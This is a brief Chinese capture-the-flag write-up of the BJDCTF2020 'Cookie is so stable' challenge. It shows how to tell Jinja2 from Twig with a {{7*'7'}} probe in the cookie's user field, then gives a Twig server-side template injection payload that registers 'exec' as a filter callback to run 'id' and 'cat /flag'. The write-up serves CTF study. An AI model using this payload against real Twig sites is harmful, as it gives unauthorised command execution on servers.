知识点

  • SSTI
  • twig

[BJDCTF2020]Cookie is so stable

 

题目提示cookie


[BJDCTF2020]Cookie is so stable

 

在user处尝试注入

{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig 

 

这里为Twig


payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

 


[BJDCTF2020]Cookie is so stable

 

获取flag

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

 


[BJDCTF2020]Cookie is so stable

参考
服务端模板注入攻击

相关文章:

  • 2021-12-18
  • 2021-12-02
  • 2022-12-23
  • 2022-01-18
  • 2021-08-09
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2021-12-07
  • 2022-03-07
相关资源
相似解决方案